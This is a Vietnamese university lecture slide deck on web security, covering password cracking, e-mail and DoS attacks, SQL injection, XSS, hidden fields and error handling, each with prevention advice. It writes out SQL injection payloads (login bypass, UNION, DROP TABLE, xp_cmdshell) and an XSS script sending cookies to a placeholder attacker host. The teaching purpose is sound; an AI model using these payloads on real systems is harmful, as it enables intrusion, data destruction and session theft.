1 / 54

Bài 11 Web Security

Bài 11 Web Security. Ths . Trần Thị Bích Hạnh. Nội dung. Một số khái niệm về Bảo mật Một số lỗ hổng bảo mật Web & cách phòng tránh Các Công cụ hỗ trợ kiểm tra bảo mật Web. Nội dung. Một số khái niệm về Bảo mật Một số lỗ hổng bảo mật Web & cách phòng tránh

maylin
Download Presentation

Bài 11 Web Security

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Bài 11Web Security Ths. TrầnThịBíchHạnh

  2. Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web

  3. Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web

  4. Threats & Vulnerability • Threats • Hànhđộnghoặcsựkiệngâyhạiđếnhệthống • Vulnerability • Lỗhổnghoặcđiểmyếucủahệthốngmàtừđóchophépngườikhácxâmnhậpvàohệthống

  5. Malicious Software • Virus • Cácchươngtrìnhcókhảnăngtựnhânbảnvàlâynhiễmvàocáctập tin trênmáytính • Khingườidùngthựcthimộttập tin bịnhiễm virus sẽkíchhoạt virus hoạtđộng • Trojan • Chươngtrìnhthuthậpthông tin dữliệutừmáytính • Worm • Cácchươngtrìnhcókhảnăngnhânbảntừmáytínhnày sang máytínhkhácnhằmmụctiêuchiếmthờigianxửlý CPU vàthờigianđểxóachúng

  6. Bảovệứngdụng • Sửdụng Firewall • SửdụngChươngtrình Anti-virus • SửdụngChươngtrình Anti-spyware

  7. Password Cracking • Phươngpháplưumậtkhẩu • Khôngmãhóa • Mãhóa 2 chiều • Mãhóa 1 chiều • Password cracking • Brute force attack • Dictionary attack

  8. Khôngmãhóamậtkhẩu

  9. Mãhóa 2 chiều

  10. Mãhóa 1 chiều

  11. Password Cracking

  12. Password Cracking (tt) • Brute force attack • Mãhóahàngngàn passwords cósẵnbằnghàm hash • So sánhkếtquảvớidữliệu hash trong database • Dictionary attack • Lưudanhsáchcác username & password thôngdụng • Dùngcácthông tin nàyđểthửđăngnhậphệthống

  13. Bảovệmậtkhẩu • Giớihạnsốlầnđăngnhậpthấtbại • Sửdụngmậtkhẩumạnh (strong password) • Chiềudàitốithiểu • Khôngsửdụngcáctừtrongtựđiển, dãykýtựliêntiếp • Kếthợpchữcái, kítựsố, kítựđặcbiệt • Chứngthựcngườidùngkhiđổi & reset mậtkhẩu • Khithayđổimậtkhẩu, nênchứngthựclạingườidùng: mậtkhẩucũ, tàikhoảnngườidùng… • Khinhậnđượcyêucầu reset mậtkhẩu, cũngnênxácnhậnlạiyêucầu reset • Sửdụngcácgiaothứcđáng tin cậykhixửlýmậtkhẩu

  14. E-mail Attacks • E-mail Bombing • Gửicùngmột email nhiềulầnđếnmột user • Mụctiêuchiếmđườngtruyềnvàxửlýcủa mail server • E-mail Spamming • Gửi email đếnnhiều user • Thườngsửdụng mailing list

  15. Bảovệ Email • Khônghiểnthịđịachỉ email trên web <a href=mailto:yourmail@gmail.com>Gui mail</a> • Sửdụnghìnhảnhhoặckýtựđặtbiệtđểthaythế Ttbhanh at fit dot hcmuns dot edu dot vn • Thiếtlập rule cho mailing list chỉnhận email từ mail nộibộ • Sửdụng CAPCHA đềphòngnhậpliệutựđộng…

  16. Denial-of-Service (DoS) Attacks • Gửiliêntiếpnhiềuyêucầuđến server • Mụctiêu • Chiếmđườngtruyềnmạng • Chặnkếtnốigiữahaimáytính • Làmcho server khôngcókhảnăngphụcvụ client

  17. DoS Attacks

  18. Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web

  19. Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error

  20. Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error

  21. SQL Injection • Mộtkĩthuậtchophépnhữngkẻtấncônglợidụnglỗhổngtrongviệckiểmtradữliệunhậptrongcácứngdụng web vàcácthôngbáolỗicủahệquảntrịcơsởdữliệuđểđưavàovàthihànhcáccâulệnh SQL bấthợppháp

  22. Cácdạngtấncông SQL Injection • Vượt qua kiểmtralúcđăngnhập (authorization bypass) • Lấydữliệu • Thayđổidữliệu • Gọithựcthichươngtrìnhkhác

  23. VượtKiểmtralúcđăngnhập • Câu SQL thườngdùngtrongđăngnhập: strSQL = "SELECT * FROM Users " + "WHERE Username='" + strUsername + "'" + " and Password='" + strPassword + "'"

  24. VượtKiểmtralúcđăngnhập (tt) • Đểvượt qua, ngườidùngnhập: strUsername: ' or ''=' strPassword: ' or ''=' • Câu SQL lúcnày: SELECT * FROM Users Where Username ='' or ''= '' and Password ='' or ''= '' Câu SQL này luôn đúng, và trả về tất cả thông tin trong bảng Users

  25. Lấydữliệu - Sửdụngcâu Select • Xem chi tiết 1 bản tin • http://www.myhost.com/shownews.aspx?ID=123 • Code xửlý string ID = Request.QueryString[“ID"]; string strSQL = "select * from News where NewsID=" + ID; • Nếungườidùngthaychỗ123bằngchuỗi0 or 1=1 • Khiđócâulệnh SQL: • select * from News where NewsID=0 or 1=1 Kết quả là sẽ hiện tất cả tin tức

  26. Lấydữliệu - Sửdụngcâu Select & Union • Mộtsốvídụkhác • ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' • ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' nếu hệ thống báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION Liệt kê tên tất cả các bảng dữ liệu

  27. Thayđổidữliệu - Sửdụngcâulệnh Insert • Câulệnhdùng: string strSQL = "INSERT INTO TableName " + "VALUES('" + strValue1 + "','" + strValue2 + "','“ + strValue3 + "')" • Nếungườidùngnhậptrườngthứnhất (strValue1) '+(SELECT TOP 1 FieldName FROM TableName)+' • Khiđócâulệnh SQL: INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def') Ngoàilệnh Insert, thìcâulệnhnàycònthựchiệnlệnh Select

  28. Thayđổidữliệu – Sửdụngcâulệnh Update & Drop • ; DROP TABLE <Tên Table> -- • ; UPDATE USERS SET EMAIL=‘your email’ WHERE username=‘admin’ • ‘ UNION UPDATE USERS SET PASSWORD=‘your pass’ WHERE username=‘admin’ Xóa bảng dữ liệu Tạođịachỉ email mớisauđósửdụngchứcnăng password recovery Thiếtlậpmậtkhẩumới

  29. Gọithựcthichươngtrìnhkhác - Sửdụng stored-procedures • Thựcthivớiquyềnquảntrịhệthống ‘sa’ • '; EXEC xp_cmdshell 'cmd.exe dir C:' • Việcpháhoạikiểunàotuỳthuộcvàocâulệnhđằngsau cmd.exe. Thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server

  30. Cách phòng tránh • Kiểmsoátchặtchẽdữliệunhậpvào • Viếthàmlọccáckýtựđặcbiệttrongchuỗinhậpvào • Vd: " ", "'", ";", "--", "xp_", "select", "drop","insert", "delete" • Thiếtlậpcấuhình an toànchohệquảntrịcơsởdữliệu • Giớihạnquyềnxửlídữliệuđếntàikhoảnngườidùng • Tránhdùngđếncácquyềnnhưdbo hay sa.

  31. Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error

  32. XSS (Cross-Site Scripting) • Mộtkĩthuậtchophépnhữngkẻtấncônglợidụnglỗhổngtrongviệckiểmtradữliệunhậptrongcácứngdụng web vàcácthôngbáolỗinhằmchènnhững đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng

  33. Pháthiệnlỗhổng XSS • Vào website cầnkiểmtra • Địnhvịcác form nhậpliệu: search, login form, querystring… • Nhậphoặcchènđoạn script vào form nhậpliệuhoặctrênđườngdẫnurl & submit. Vídụ <script>alert(‘XSS’);</script> • Nếuthấycửasổ alert xuấthiệnthì website cólỗhổng XSS Ref: http://ha.ckers.org/xss.html

  34. Pháthiệnlỗhổng XSS – Vídụ

  35. Tấncông XSS

  36. Tấncông XSS – Vídụ <script>i=new Image();  i.src="http://www.evil.org/getcookie.aspx?cookie=" + escape(document.cookie);</script>

  37. Cáchphòngtránh • Kiểmtradữliệunhậptừngườidùng • Chỉchấpnhậnnhữngdữliệuhợplệ • Lọccáckýtựđặcbiệt • Pháthiệncácthẻ script • Mãhoá (encoding) cáckítựđặcbiệttrướckhi in ra website nhằmngănchặn website tựthựcthicác script khôngmongmuốn

  38. Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error

  39. Hidden Field Vulnerability • Làthông tin ẩntrongtrang web, đượcthểhiệndướithẻ <input type=“hidden” value=“xyz” /> • Khônghiểnthịlêntrìnhduyệt • Cóthểxemđượcvớichứcnăng View Source

  40. Hidden Field Vulnerability – Vídụ

  41. Môhìnhxửlý

  42. Tấncông

  43. Cáchphòngtránh • Mãhóadữliệulưutrong Hidden Fields • Khônglưucácdữliệunhạycảmtrong Hidden Fields

  44. Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error

  45. Failing to Handle Error • Hệthốngkhôngtựxửlýlỗivàđểcácthôngbáolỗi chi tiếthiểnthịnhữngthông tin quantrọnggiúpkẻtấncôngxâmnhậphệthống

  46. Failing to Handle Error – Vídụ

  47. Failing to Handle Error – Vídụ

  48. Cáchphòngtránh • Bắt & Xửlýlỗi try { … } catch (Exception ex) { … } • Tựhiểnthịtrangthôngbáolỗi – CấuhìnhWeb.Config <customErrors mode="On" defaultRedirect="ErrorPage.htm"> <error statusCode="404" redirect="NotFound.htm" /> <error statusCode="500" redirect=“ServerError.htm" /> </customErrors> • http://en.wikipedia.org/wiki/List_of_HTTP_status_codes

  49. Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web

  50. Cáccôngcụhỗtrợkiểmtrabảomật Web • Nikto • Open Source (GPL) web server scanner • Paros Proxy • Cho phépxem/sửa HTTP/HTTPS messages on-the-fly đểthayđổi cookies, form fields,… • Acunetix WVS • Commercial Web Vulnerability Scanner • … • Ref: http://sectools.org/web-scanners.html

More Related